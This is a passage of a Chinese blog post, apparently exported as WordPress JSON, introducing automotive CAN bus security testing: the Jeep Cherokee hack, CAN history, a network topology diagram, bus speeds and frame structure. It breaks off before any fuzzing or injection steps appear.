{"id":129,"date":"2026-07-03T16:56:15","date_gmt":"2026-07-03T08:56:15","guid":{"rendered":"https:\/\/www.deartester.com\/index.php\/2026\/07\/03\/%e6%b1%bd%e8%bd%a6%e6%80%bb%e7%ba%bf%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%85%a5%e9%97%a8%ef%bc%9a%e5%9f%ba%e4%ba%8ecan%e6%80%bb%e7%ba%bf%e7%9a%84%e6%a8%a1%e7%b3%8a%e6%b3%a8%e5%85%a5%e6%94%bb\/"},"modified":"2026-07-03T16:56:15","modified_gmt":"2026-07-03T08:56:15","slug":"%e6%b1%bd%e8%bd%a6%e6%80%bb%e7%ba%bf%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%85%a5%e9%97%a8%ef%bc%9a%e5%9f%ba%e4%ba%8ecan%e6%80%bb%e7%ba%bf%e7%9a%84%e6%a8%a1%e7%b3%8a%e6%b3%a8%e5%85%a5%e6%94%bb","status":"publish","type":"post","link":"https:\/\/www.deartester.com\/index.php\/2026\/07\/03\/%e6%b1%bd%e8%bd%a6%e6%80%bb%e7%ba%bf%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%85%a5%e9%97%a8%ef%bc%9a%e5%9f%ba%e4%ba%8ecan%e6%80%bb%e7%ba%bf%e7%9a%84%e6%a8%a1%e7%b3%8a%e6%b3%a8%e5%85%a5%e6%94%bb\/","title":{"rendered":"\u6c7d\u8f66\u603b\u7ebf\u5b89\u5168\u6d4b\u8bd5\u5165\u95e8\uff1a\u57fa\u4e8eCAN\u603b\u7ebf\u7684\u6a21\u7cca\u6ce8\u5165\u653b\u51fb\u5b9e\u64cd"},"content":{"rendered":"<p style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 10px;color: rgb(85, 85, 85);\" data-pm-slice=\"0 0 []\"><strong><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u522b\u4ee5\u4e3a\u6c7d\u8f66\u9ed1\u5ba2\u5f88\u8fdc\u2014\u2014<\/span><\/span><\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"576\">\n<p style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px;font-size: 14px;color: rgb(102, 102, 102);line-height: 1.8;\" data-pm-slice=\"3 2 []\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u6ca1\u6709\u52a0\u5bc6\uff0c\u6ca1\u6709\u8ba4\u8bc1\uff0c\u6ca1\u6709\u8bbf\u95ee\u63a7\u5236\u30022015\u5e74\uff0c\u4e24\u540d\u9ed1\u5ba2\u4ec5\u51ed\u4e00\u53f0\u7b14\u8bb0\u672c\u548c\u4e00\u6839USB\u7ebf\uff0c\u5c31\u8fdc\u7a0b&#8221;\u52ab\u6301&#8221;\u4e86\u4e00\u8f86\u6b63\u5728\u9ad8\u901f\u516c\u8def\u4e0a\u884c\u9a76\u7684Jeep Cherokee\uff0c\u6700\u7ec8\u5bfc\u81f4FCA\u96c6\u56e2\u53ec\u56de140\u4e07\u8f86\u6c7d\u8f66\u3002<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px;font-size: 14px;color: rgb(102, 102, 102);line-height: 1.8;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">\u8fd9\u4e0d\u662f\u7535\u5f71\u5267\u60c5\uff0c\u8fd9\u662f\u771f\u5b9e\u53d1\u751f\u7684\u5b89\u5168\u4e8b\u4ef6\u3002\u672c\u6587\u5c06\u624b\u628a\u624b\u5e26\u4f60\u4ece\u96f6\u642d\u5efa\u6d4b\u8bd5\u73af\u5883\uff0c\u7528\u5f00\u6e90\u5de5\u5177\u5b8c\u6210\u771f\u5b9e\u7684<\/span><\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u653b\u51fb\u2014\u2014\u4e0d\u662f\u7834\u574f\uff0c\u662f\u6d4b\u8bd5\uff1b\u4e0d\u662f\u9ed1\u5ba2\uff0c\u662f\u5de5\u7a0b\u5e08\u3002<\/span><\/p>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u4e00\u3001<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u57fa\u7840\uff1a\u6c7d\u8f66\u771f\u6b63\u7684&#8221;\u795e\u7ecf\u7cfb\u7edf&#8221;<\/span><\/h2>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u8981\u7406\u89e3\u6c7d\u8f66\u5b89\u5168\u6d4b\u8bd5\uff0c\u9996\u5148\u5f97\u7406\u89e3<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u662f\u4ec0\u4e48\u2014\u2014\u5b83\u662f\u6c7d\u8f66\u5185\u90e8\u6210\u767e\u4e0a\u5343\u4e2aECU\uff08\u7535\u5b50\u63a7\u5236\u5355\u5143\uff09\u4e4b\u95f4\u901a\u4fe1\u7684&#8221;\u795e\u7ecf\u7cfb\u7edf&#8221;\u3002\u6ca1\u6709\u5b83\uff0c\u53d1\u52a8\u673a\u4e0d\u77e5\u9053\u6cb9\u95e8\u8e29\u4e86\u591a\u5c11\uff0c\u5239\u8f66\u7cfb\u7edf\u4e0d\u77e5\u9053\u9a7e\u9a76\u5458\u53d1\u51fa\u4e86\u5236\u52a8\u6307\u4ee4\uff0c\u8f66\u7a97\u4e0d\u77e5\u9053\u4ec0\u4e48\u65f6\u5019\u8be5\u5347\u3002<\/span><\/p>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">1.1&nbsp;<\/span><\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">CAN\u603b\u7ebf<\/span><\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">\u7684\u8bde\u751f\u4e0e\u5b9a\u4f4d<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">CAN\uff08Controller Area Network\uff09\u8bde\u751f\u4e8e1986\u5e74\uff0c\u7531\u5fb7\u56fd\u535a\u4e16\uff08Bosch\uff09\u516c\u53f8\u5f00\u53d1\uff0c\u6700\u521d\u662f\u4e3a\u4e86\u89e3\u51b3\u5f53\u65f6\u6c7d\u8f66\u5185\u90e8\u7ebf\u675f\u8fc7\u591a\u7684\u95ee\u9898\u2014\u2014\u5728CAN\u51fa\u73b0\u4e4b\u524d\uff0c\u6bcf\u4e2a\u4f20\u611f\u5668\u90fd\u9700\u8981\u72ec\u7acb\u5e03\u7ebf\u63a5\u5230ECU\u4e0a\uff0c\u4e00\u8f86\u9ad8\u7aef\u8c6a\u534e\u8f66\u7684\u5185\u90e8\u7ebf\u675f\u53ef\u4ee5\u957f\u8fbe\u6570\u516c\u91cc\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(248, 250, 252);border: 1px solid rgb(226, 232, 240);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span leaf=\"\">\u56fe1\uff1a\u6c7d\u8f66CAN\u603b\u7ebf\u7f51\u7edc\u62d3\u6251\u56fe\uff08CAD\u7ebf\u6846\uff09<\/span><\/p>\n<p><svg viewbox=\"0 0 800 400\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;font-family:sans-serif;\"><rect x=\"120\" y=\"60\" width=\"480\" height=\"240\" rx=\"40\" fill=\"none\" stroke=\"#1e3a5f\" stroke-width=\"2\"><\/rect><text x=\"360\" y=\"50\" text-anchor=\"middle\" font-size=\"13\" fill=\"#1e3a5f\" font-weight=\"bold\"><tspan leaf=\"\">VEHICLE<\/tspan><\/text><ellipse cx=\"170\" cy=\"300\" rx=\"30\" ry=\"20\" fill=\"none\" stroke=\"#1e3a5f\" stroke-width=\"1.5\"><\/ellipse><ellipse cx=\"550\" cy=\"300\" rx=\"30\" ry=\"20\" fill=\"none\" stroke=\"#1e3a5f\" stroke-width=\"1.5\"><\/ellipse><path d=\"M300 60 Q360 30 420 60\" fill=\"none\" stroke=\"#1e3a5f\" stroke-width=\"1.5\" stroke-dasharray=\"4,3\"><\/path><rect x=\"320\" y=\"150\" width=\"80\" height=\"60\" rx=\"6\" fill=\"#1565c0\" stroke=\"#0d47a1\" stroke-width=\"2\"><\/rect><text x=\"360\" y=\"175\" text-anchor=\"middle\" font-size=\"10\" fill=\"white\" font-weight=\"bold\"><tspan leaf=\"\">GATEWAY<\/tspan><\/text><text x=\"360\" y=\"192\" text-anchor=\"middle\" font-size=\"9\" fill=\"#bbdefb\"><tspan leaf=\"\">\u4e2d\u592e\u7f51\u5173ECU<\/tspan><\/text><line x1=\"400\" y1=\"165\" x2=\"560\" y2=\"100\" stroke=\"#1565c0\" stroke-width=\"2\"><\/line><text x=\"470\" y=\"108\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1565c0\" font-weight=\"bold\"><tspan leaf=\"\">\u9ad8\u901fCAN<\/tspan><\/text><text x=\"470\" y=\"120\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">500 Kbps \u00b7 \u52a8\u529b\u7cfb\u7edf<\/tspan><\/text><rect x=\"565\" y=\"72\" width=\"70\" height=\"28\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"600\" y=\"90\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">Engine ECU<\/tspan><\/text><line x1=\"560\" y1=\"100\" x2=\"565\" y2=\"86\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/line><rect x=\"565\" y=\"107\" width=\"70\" height=\"28\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"600\" y=\"125\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">ABS ECU<\/tspan><\/text><line x1=\"560\" y1=\"100\" x2=\"565\" y2=\"121\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/line><rect x=\"565\" y=\"142\" width=\"70\" height=\"28\" rx=\"4\" fill=\"#e3f2fd\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/rect><text x=\"600\" y=\"160\" text-anchor=\"middle\" font-size=\"9\" fill=\"#0d47a1\"><tspan leaf=\"\">Airbag ECU<\/tspan><\/text><line x1=\"560\" y1=\"100\" x2=\"565\" y2=\"156\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/line><line x1=\"320\" y1=\"180\" x2=\"180\" y2=\"100\" stroke=\"#2e7d32\" stroke-width=\"2\"><\/line><text x=\"225\" y=\"108\" text-anchor=\"middle\" font-size=\"9\" fill=\"#2e7d32\" font-weight=\"bold\"><tspan leaf=\"\">\u4f4e\u901fCAN<\/tspan><\/text><text x=\"225\" y=\"120\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">125 Kbps \u00b7 \u8212\u9002\u7cfb\u7edf<\/tspan><\/text><rect x=\"110\" y=\"72\" width=\"68\" height=\"28\" rx=\"4\" fill=\"#e8f5e9\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/rect><text x=\"144\" y=\"90\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1b5e20\"><tspan leaf=\"\">BCM<\/tspan><\/text><line x1=\"180\" y1=\"100\" x2=\"178\" y2=\"86\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/line><rect x=\"110\" y=\"107\" width=\"68\" height=\"28\" rx=\"4\" fill=\"#e8f5e9\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/rect><text x=\"144\" y=\"125\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1b5e20\"><tspan leaf=\"\">\u4eea\u8868\u76d8<\/tspan><\/text><line x1=\"180\" y1=\"100\" x2=\"178\" y2=\"121\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/line><rect x=\"110\" y=\"142\" width=\"68\" height=\"28\" rx=\"4\" fill=\"#e8f5e9\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/rect><text x=\"144\" y=\"160\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1b5e20\"><tspan leaf=\"\">HVAC<\/tspan><\/text><line x1=\"180\" y1=\"100\" x2=\"178\" y2=\"156\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/line><line x1=\"360\" y1=\"210\" x2=\"500\" y2=\"250\" stroke=\"#f57c00\" stroke-width=\"2\"><\/line><text x=\"420\" y=\"238\" text-anchor=\"middle\" font-size=\"9\" fill=\"#e65100\" font-weight=\"bold\"><tspan leaf=\"\">\u8bca\u65adCAN<\/tspan><\/text><text x=\"420\" y=\"250\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">OBD-II \u63a5\u53e3<\/tspan><\/text><rect x=\"500\" y=\"238\" width=\"80\" height=\"30\" rx=\"4\" fill=\"#fff3e0\" stroke=\"#f57c00\" stroke-width=\"2\"><\/rect><text x=\"540\" y=\"258\" text-anchor=\"middle\" font-size=\"10\" fill=\"#e65100\" font-weight=\"bold\"><tspan leaf=\"\">OBD-II<\/tspan><\/text><rect x=\"590\" y=\"235\" width=\"60\" height=\"36\" rx=\"5\" fill=\"#ffebee\" stroke=\"#c62828\" stroke-width=\"2\"><\/rect><text x=\"620\" y=\"250\" text-anchor=\"middle\" font-size=\"9\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\u26a0 \u653b\u51fb\u8005<\/tspan><\/text><text x=\"620\" y=\"262\" text-anchor=\"middle\" font-size=\"8\" fill=\"#c62828\"><tspan leaf=\"\">\u63a5\u5165\u70b9<\/tspan><\/text><line x1=\"500\" y1=\"253\" x2=\"590\" y2=\"253\" stroke=\"#c62828\" stroke-width=\"2\" stroke-dasharray=\"6,3\"><\/line><polygon points=\"590,253 580,248 580,258\" fill=\"#c62828\"><\/polygon><rect x=\"140\" y=\"320\" width=\"12\" height=\"12\" rx=\"2\" fill=\"#1565c0\"><\/rect><text x=\"158\" y=\"331\" font-size=\"9\" fill=\"#333\"><tspan leaf=\"\">\u9ad8\u901fCAN \u00b7 \u52a8\u529b\u7cfb\u7edf<\/tspan><\/text><rect x=\"320\" y=\"320\" width=\"12\" height=\"12\" rx=\"2\" fill=\"#2e7d32\"><\/rect><text x=\"338\" y=\"331\" font-size=\"9\" fill=\"#333\"><tspan leaf=\"\">\u4f4e\u901fCAN \u00b7 \u8212\u9002\u7cfb\u7edf<\/tspan><\/text><rect x=\"500\" y=\"320\" width=\"12\" height=\"12\" rx=\"2\" fill=\"#f57c00\"><\/rect><text x=\"518\" y=\"331\" font-size=\"9\" fill=\"#333\"><tspan leaf=\"\">\u8bca\u65adCAN \u00b7 OBD-II<\/tspan><\/text><line x1=\"140\" y1=\"345\" x2=\"170\" y2=\"345\" stroke=\"#c62828\" stroke-width=\"2\" stroke-dasharray=\"6,3\"><\/line><text x=\"178\" y=\"349\" font-size=\"9\" fill=\"#c62828\"><tspan leaf=\"\">\u653b\u51fb\u8005\u63a5\u5165\u8def\u5f84<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u7528\u4e24\u6839\u7ebf\uff08CAN_H\u548cCAN_L\uff0c\u5dee\u5206\u4fe1\u53f7\u4f20\u8f93\uff09\u53d6\u4ee3\u4e86\u8fd9\u4e9b\u590d\u6742\u7684\u72ec\u7acb\u7ebf\u675f\uff0c\u6240\u6709ECU\u6302\u5728\u540c\u4e00\u6761&#8221;\u603b\u7ebf&#8221;\u4e0a\uff0c\u5171\u4eab\u901a\u4fe1\u4ecb\u8d28\u3002\u8fd9\u5c31\u662f<\/span><strong><span leaf=\"\">\u591a\u4e3b\u5e7f\u64ad\u5f0f\u901a\u4fe1<\/span><\/strong><span leaf=\"\">\uff1a\u4efb\u4f55\u4e00\u4e2a\u8282\u70b9\u90fd\u53ef\u4ee5\u968f\u65f6\u53d1\u8a00\uff0c\u4e0d\u9700\u8981\u63d0\u524d\u7533\u8bf7\u8bdd\u7b52\u3002<\/span><\/p>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">1.2 \u901f\u7387\u4e0e\u5206\u7c7b<\/span><\/span><\/h3>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u7c7b\u578b<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u901f\u7387<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u5178\u578b\u5e94\u7528<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u7279\u70b9<\/span><\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u4f4e\u901fCAN<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">125 Kbps<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u8f66\u7a97\u3001\u7a7a\u8c03\u3001\u5ea7\u6905<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u5bb9\u9519\u6027\u5f3a\uff0c\u901a\u4fe1\u8ddd\u79bb\u8fdc<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u9ad8\u901fCAN<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">500 Kbps<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u53d1\u52a8\u673a\u3001\u53d8\u901f\u7bb1\u3001\u5239\u8f66\u3001\u5b89\u5168\u6c14\u56ca<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u5b9e\u65f6\u6027\u9ad8\uff0c\u54cd\u5e94\u5feb<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">CAN-FD<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u6700\u9ad8 8 Mbps<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u65b0\u4e00\u4ee3\u8f66\u8f7d\u9aa8\u5e72\u7f51\u7edc<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(224, 224, 224);padding: 10px 14px;\">\n<section><span leaf=\"\">\u6570\u636e\u6bb5\u66f4\u957f\uff0c\u53ef\u9009\u52a0\u5bc6<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">1.3 \u5e27\u7ed3\u6784\uff1aID + \u6570\u636e<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u4e0a\u4f20\u8f93\u7684\u662f<\/span><strong><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><\/strong><span leaf=\"\">\uff0c\u6bcf\u5e27\u5305\u542b\u4e24\u5927\u90e8\u5206\uff1a<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li><strong><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\uff08\u6807\u8bc6\u7b26\uff09<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a\u6807\u51c6\u5e2711\u4f4d\uff0c\u6269\u5c55\u5e2729\u4f4d\u3002ID\u8d8a\u5c0f\u4f18\u5148\u7ea7\u8d8a\u9ad8\uff0c\u7528\u4e8e\u51b3\u5b9a&#8221;\u8c01\u5148\u53d1\u8a00&#8221;\u3002\u4f8b\u5982\u5239\u8f66\u4fe1\u53f7\u7684ID\u901a\u5e38\u6bd4\u8f66\u7a97\u4fe1\u53f7\u7684ID\u66f4\u5c0f\uff0c\u4fdd\u8bc1\u5173\u952e\u65f6\u523b\u5239\u8f66\u4f18\u5148\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\u6570\u636e\u6bb5<\/span><\/strong><br \/>\n<section><span 